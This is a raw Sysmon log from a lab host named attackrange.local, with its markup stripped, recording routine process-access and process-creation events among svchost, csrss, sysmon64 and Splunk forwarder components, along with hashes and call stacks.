14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014414Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014413Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7006-613B-AC04-00000000F101}3316C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014412Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7006-613B-AC04-00000000F101}3316C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014411Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.070{625C326B-7006-613B-AC04-00000000F101}3316C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.929{625C326B-7007-613B-AE04-00000000F101}34402220C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7007-613B-AE04-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7007-613B-AE04-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.694{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7007-613B-AE04-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.695{625C326B-7007-613B-AE04-00000000F101}3440C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.460{625C326B-7007-613B-AD04-00000000F101}18522984C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7007-613B-AD04-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 